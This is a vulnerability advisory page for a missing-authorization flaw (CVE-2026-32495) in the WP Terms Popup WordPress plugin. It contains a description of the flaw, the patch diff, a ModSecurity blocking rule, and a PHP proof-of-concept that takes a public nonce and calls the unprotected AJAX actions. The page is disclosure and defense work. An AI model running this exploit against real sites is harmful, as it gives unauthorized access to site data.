Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-32495: WP Terms Popup – Terms and Conditions and Privacy Policy WordPress Popups <= 2.10.0 – Missing Authorization (wp-terms-popup)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.10.0
Patched Version 2.11.0
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32495:
The WP Terms Popup plugin for WordPress contains a missing authorization vulnerability in versions up to and including 2.10.0. The flaw resides in the plugin’s AJAX handlers, allowing unauthenticated attackers to trigger unauthorized actions. This issue has a CVSS score of 5.3.

The root cause is the absence of a capability check within the `ajaxhandler_css` and `ajaxhandler_popup` functions in `/wp-terms-popup/public/class-wp-terms-popup-public.php`. The vulnerable code only verified a nonce but did not confirm the user’s authorization level. The nonce itself was insufficient for security because it could be obtained by an unauthenticated user. The functions accepted a `termspageid` parameter and processed it without validating the associated post’s existence, type, or publication status.

An attacker exploits this by sending a POST request to the WordPress admin-ajax.php endpoint with the action parameter set to either `wptp_css` or `wptp_popup`. The request must include a valid nonce, which the attacker can retrieve from a public page source, and a numeric `termspageid` parameter. This allows the attacker to trigger the plugin’s CSS generation or popup HTML retrieval functions for any post ID.

The patch in version 2.11.0 adds multiple security layers. It replaces the silent `exit()` calls with explicit `wp_die()` calls that return proper HTTP status codes. The patch introduces validation for the `termspageid` parameter, ensuring it is numeric and positive. It also adds a critical authorization check by verifying the retrieved post exists, has the `termpopup` post type, and is published. These same validations are added to the `popup_css`, `title`, and `popup_html` methods to prevent indirect exploitation.

Successful exploitation allows an unauthenticated attacker to invoke internal plugin functions. This could lead to information disclosure by retrieving CSS or HTML content associated with specific popup posts. While the direct impact is limited to data exposure from published popups, it represents a clear violation of the intended authorization model and could be chained with other flaws.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-terms-popup/index.php
+++ b/wp-terms-popup/index.php
@@ -9,7 +9,7 @@
  * Plugin Name:       WP Terms Popup
  * Plugin URI:        https://termsplugin.com
  * Description:       Ask users to agree to a popup before they are allowed to view your site.
- * Version:           2.10.0
+ * Version:           2.11.0
  * Author:            Link Software LLC
  * Author URI:        https://linksoftwarellc.com
  * License:           GPL-2.0+
@@ -26,7 +26,7 @@
 /**
  * Currently plugin version.
  */
-define('WP_TERMS_POPUP_VERSION', '2.10.0');
+define('WP_TERMS_POPUP_VERSION', '2.11.0');

 function activate_wp_terms_popup()
 {
--- a/wp-terms-popup/public/class-wp-terms-popup-public.php
+++ b/wp-terms-popup/public/class-wp-terms-popup-public.php
@@ -163,15 +163,25 @@
      */
     public function ajaxhandler_css()
     {
-        // check_ajax_referer('wptp-ajaxhandler-nonce', 'wptp_nonce');
-
         if (!isset($_POST['wptp_nonce']) || !wp_verify_nonce(sanitize_text_field($_POST['wptp_nonce']), 'wptp-ajaxhandler-nonce')) {
-            exit();
+            wp_die('', 'Forbidden', array('response' => 403));
         }

-        $wptp_content['css'] = $this->popup_css($_POST['termspageid']);
+        if (!isset($_POST['termspageid']) || !is_numeric($_POST['termspageid'])) {
+            wp_die('', 'Bad Request', array('response' => 400));
+        }

-        die(json_encode($wptp_content));
+        $terms_page_id = intval($_POST['termspageid']);
+
+        // Verify that the post exists, is of the correct type, and is published
+        $post = get_post($terms_page_id);
+        if (!$post || $post->post_type !== 'termpopup' || $post->post_status !== 'publish') {
+            wp_die('', 'Bad Request', array('response' => 400));
+        }
+
+        $wptp_content['css'] = $this->popup_css($terms_page_id);
+
+        wp_die(json_encode($wptp_content));
     }

     /**
@@ -181,15 +191,25 @@
      */
     public function ajaxhandler_popup()
     {
-        // check_ajax_referer('wptp-ajaxhandler-nonce', 'wptp_nonce');
-
         if (!isset($_POST['wptp_nonce']) || !wp_verify_nonce(sanitize_text_field($_POST['wptp_nonce']), 'wptp-ajaxhandler-nonce')) {
-            exit();
+            wp_die('', 'Forbidden', array('response' => 403));
         }

-        $wptp_content['popup'] = $this->popup_html(sanitize_text_field($_POST['termspageid']));
+        if (!isset($_POST['termspageid']) || !is_numeric($_POST['termspageid'])) {
+            wp_die('', 'Bad Request', array('response' => 400));
+        }
+
+        $terms_page_id = intval($_POST['termspageid']);
+
+        // Verify that the post exists, is of the correct type, and is published
+        $post = get_post($terms_page_id);
+        if (!$post || $post->post_type !== 'termpopup' || $post->post_status !== 'publish') {
+            wp_die('', 'Bad Request', array('response' => 400));
+        }
+
+        $wptp_content['popup'] = $this->popup_html($terms_page_id);

-        die(json_encode($wptp_content));
+        wp_die(json_encode($wptp_content));
     }

     /**
@@ -314,6 +334,17 @@
     {
         include_once ABSPATH.'wp-admin/includes/plugin.php';

+        if (!is_numeric($terms_id) || $terms_id <= 0) {
+            return '';
+        }
+
+        $post = get_post($terms_id);
+
+        // Verify that the post exists, is of the correct type, and is published
+        if (!$post || $post->post_type !== 'termpopup' || $post->post_status !== 'publish') {
+            return '';
+        }
+
         $wptp_css = '';

         if (function_exists('wptp_designer_settings')) {
@@ -439,9 +470,18 @@
      */
     private function title($popup_id)
     {
-        $popup_title = get_the_title($popup_id);
+        if (!is_numeric($popup_id) || $popup_id <= 0) {
+            return '';
+        }

-        return $popup_title;
+        $post = get_post($popup_id);
+
+        // Verify that the post exists, is of the correct type, and is published
+        if (!$post || $post->post_type !== 'termpopup' || $post->post_status !== 'publish') {
+            return '';
+        }
+
+        return get_the_title($popup_id);
     }

     /**
@@ -453,7 +493,17 @@
     {
         include_once ABSPATH.'wp-admin/includes/plugin.php';

+        if (!is_numeric($popup_id) || $popup_id <= 0) {
+            return '';
+        }
+
         $wptp_popup = get_post($popup_id);
+
+        // Verify that the post exists, is of the correct type, and is published
+        if (!$wptp_popup || $wptp_popup->post_type !== 'termpopup' || $wptp_popup->post_status !== 'publish') {
+            return '';
+        }
+
         $popup_content = '';

         if ($popup_id && function_exists('wptp_collector_update_results')) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32495
# This rule blocks unauthenticated access to the vulnerable WP Terms Popup AJAX handlers.
# The vulnerability is missing authorization, but the attack has a distinct signature: specific action names and a termspageid parameter.
# The rule blocks requests that lack a valid WordPress authentication cookie, targeting the specific vulnerable actions.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100032495,phase:2,deny,status:403,chain,msg:'CVE-2026-32495 - Unauthorized WP Terms Popup AJAX Access',severity:'CRITICAL',tag:'CVE-2026-32495',tag:'WP-Plugin',tag:'Missing-Authorization'"
  SecRule &ARGS_POST:action "!@eq 0" 
    "chain"
    SecRule ARGS_POST:action "@pm wptp_css wptp_popup" 
      "chain"
      SecRule &ARGS_POST:termspageid "!@eq 0" 
        "chain"
        SecRule REQUEST_COOKIES:/^wordpress_logged_in_/ "!@rx ." 
          "t:none,t:lowercase,setvar:'tx.cve_2026_32495_block=1'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32495 - WP Terms Popup – Terms and Conditions and Privacy Policy WordPress Popups <= 2.10.0 - Missing Authorization

<?php

$target_url = 'http://target-site.com'; // Change this to the target WordPress site URL

// Step 1: Fetch a frontend page to extract the required nonce.
// The nonce for 'wptp-ajaxhandler-nonce' is typically enqueued on public pages.
$home_page = $target_url . '/';
$ch = curl_init($home_page);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Use a simple regex to find the nonce in a script tag.
// In a real scenario, a more robust HTML parser would be used.
$nonce = null;
if (preg_match('/"wptp_nonce"s*:s*"([a-f0-9]+)"/', $response, $matches)) {
    $nonce = $matches[1];
}

if (empty($nonce)) {
    die("Could not extract required nonce from the page. The plugin might not be active or the nonce is not present.");
}

// Step 3: Target the vulnerable AJAX endpoint.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Step 4: Choose which action to test. 'wptp_css' triggers ajaxhandler_css, 'wptp_popup' triggers ajaxhandler_popup.
$action = 'wptp_css'; // or 'wptp_popup'
// The termspageid can be any integer. Attackers might iterate through IDs.
$termspageid = 1;

$post_data = array(
    'action' => $action,
    'wptp_nonce' => $nonce,
    'termspageid' => $termspageid
);

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$ajax_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Output the result.
echo "Target: " . $target_url . "n";
echo "Action: " . $action . "n";
echo "Nonce Used: " . $nonce . "n";
echo "Termspage ID: " . $termspageid . "n";
echo "HTTP Code: " . $http_code . "n";
echo "Response: " . $ajax_response . "n";

// A successful response will contain JSON with 'css' or 'popup' data.
// In version <=2.10.0, this will succeed regardless of user authentication.
// In patched versions >=2.11.0, this will fail with a 400 or 403 error if the post validation fails.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School